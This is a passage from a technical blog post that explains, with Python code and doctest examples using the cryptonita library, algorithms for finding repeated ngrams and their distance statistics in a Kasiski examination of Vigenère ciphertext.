&lt;p&gt;The algorithm can be generalized to find all the non-unique ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; changing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ngrams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ngrams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The trick is how to build the list of ngrams of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; length &lt;em&gt;reusing&lt;/em&gt; the ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; found by the above algorithm.&lt;/p&gt;
&lt;h2 id="superior-ngram-order---merge_overlaping-algorithm"&gt;Superior ngram order - &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h2&gt;
&lt;p&gt;The idea is that two ngrams &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;g_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;g_2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; characters at positions &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;p_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;p_2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the original string can be &lt;em&gt;merged&lt;/em&gt; and build a ngram of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes at &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;p_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; if and only if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;p_1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;p_2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In other words, they are consecutive.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/crypto/kasiski/kasiski_merge.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A merged ngram not necessary means that it is a repeated ngram but we know that any repeated ngram will be a merged one.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;id_of_ngram&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])):&lt;/span&gt;
    &lt;span class="n"&gt;pcur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;
    &lt;span class="n"&gt;pnex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;id2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nex&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pcur&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;pnex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# delete later (index 0 is special)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# the id of the merged ngram is formed by the ids of the&lt;/span&gt;
        &lt;span class="c1"&gt;# original pair of ngrams.&lt;/span&gt;
        &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;id_of_ngram&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;id2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id_of_ngram&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# new ngram&lt;/span&gt;
        &lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# the last position P1 always is &amp;quot;deleted&amp;quot; because there is&lt;/span&gt;
&lt;span class="c1"&gt;# not P2 such P1 + 1 == P2 *and* P1 &amp;lt; P2 (basically because there&lt;/span&gt;
&lt;span class="c1"&gt;# are no more positions after P1)&lt;/span&gt;
&lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;During the scan we also count how many ngrams we built: unique ngrams are filtered later in linear time removing the false positives.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9tZXJnZV9vdmVybGFwaW5nLnBuZycgLz4KSW5wdXQtc2l6ZS90aW1lLXRha2VuIHJlbGF0aW9uc2hpcCBvZgpgbWVyZ2Vfb3ZlcmxhcGluZ2AuIDxhIGhyZWY9Ii9hc3NldHMvY3J5cHRvL2thc2lza2kvcGVyZl9rYXNpc2tpLnB5Ij48c3BhbiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcDsiPjxpIGNsYXNzPSJmYWIgZmEtZ2l0aHViIj48L2k+Jm5ic3A7Y29kZTwvc3Bhbj48L2E+Cm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9tZXJnZV9vdmVybGFwaW5nLnBuZycgLz4KSW5wdXQtc2l6ZS90aW1lLXRha2VuIHJlbGF0aW9uc2hpcCBvZgpgbWVyZ2Vfb3ZlcmxhcGluZ2AuIDxhIGhyZWY9Ii9hc3NldHMvY3J5cHRvL2thc2lza2kvcGVyZl9rYXNpc2tpLnB5Ij48c3BhbiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcDsiPjxpIGNsYXNzPSJmYWIgZmEtZ2l0aHViIj48L2k+Jm5ic3A7Y29kZTwvc3Bhbj48L2E+Cm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/kasiski/merge_overlaping.png' /&gt;
Input-size/time-taken relationship of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. &lt;a href="/assets/crypto/kasiski/perf_kasiski.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pos_sorted&lt;/span&gt;
                      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a linear operation in terms of the initial &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; list not in terms of the length of the input strings.&lt;/p&gt;
&lt;p&gt;In the practice this means that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; – \(O(g)\) – will be faster than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;as_ngram_repeated_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; – \(O(\vert s \vert)\).&lt;/p&gt;
&lt;h2 id="computing-the-gaps---deltas_from_positions-algorithm"&gt;Computing the gaps - &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;deltas_from_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h2&gt;
&lt;p&gt;Now that we have the position of each repeated ngram we want to calculate the distance between them.&lt;/p&gt;
&lt;p&gt;We are interested in the distance between the &lt;em&gt;same&lt;/em&gt; ngrams.&lt;/p&gt;
&lt;p&gt;This is because we assume that the same repeated ngram in a ciphertext is due the encryption of the same plaintext &lt;em&gt;and&lt;/em&gt; the repeating key of Vigenere was aligned.&lt;/p&gt;
&lt;p&gt;The distance should be then a multiple of the length of the key.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX3Bvc19ncm91cGVkLnBuZycgLz5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX3Bvc19ncm91cGVkLnBuZycgLz5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/kasiski/kasiski_pos_grouped.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# group first&lt;/span&gt;
&lt;span class="n"&gt;pos_grouped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;pos_grouped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# compute the gaps later&lt;/span&gt;
&lt;span class="n"&gt;delta_stats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;positions&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pos_grouped&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]))&lt;/span&gt;
    &lt;span class="n"&gt;delta_stats&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX2Rpc3RhbmNlcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX2Rpc3RhbmNlcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/kasiski/kasiski_distances.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We simplify the maths and calculate then the difference between &lt;em&gt;consecutive&lt;/em&gt; positions for a given ngram.&lt;/p&gt;
&lt;p&gt;We assume that difference between non-consecutive values will yield a multiple of the previous shorter difference hence it will be also a multiple of the key length.&lt;/p&gt;
&lt;p&gt;In other words, calculating the “multiple of the multiple” does not add any new information.&lt;/p&gt;
&lt;h2 id="frequency-of-deltas---frequency_of_deltas-algorithm"&gt;Frequency of deltas - &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h2&gt;
&lt;p&gt;Basically we put all the algorithms to work together:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;pos_sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;as_ngram_repeated_positions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;delta_stats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;deltas_from_positions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delta_stats&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;pos_sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here are some examples using &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.stats.kasiski&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ABCDBCDABCDBC&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;})]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1A0C0B471A0C0B47110E0C1E&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;})]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the last example the first &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Counter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is for the ngrams &lt;code class="none"&gt;1A 0C 0B&lt;/code&gt; and &lt;code class="none"&gt;0C 0B 47&lt;/code&gt; where found repeated at a distance of 4 once each one (2 in total). The second &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Counter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is for &lt;code class="none"&gt;1A 0C 0B 47&lt;/code&gt; repeated once at a distance of 4.&lt;/p&gt;
&lt;p&gt;As predicted the expected effort is linear while the worst case is quadratic.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;br /&gt; Expected case. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has a linear response when the size of the input increase linearly. &lt;a href="/assets/crypto/kasiski/perf_kasiski.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/crypto/kasiski/frequency_of_deltas.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
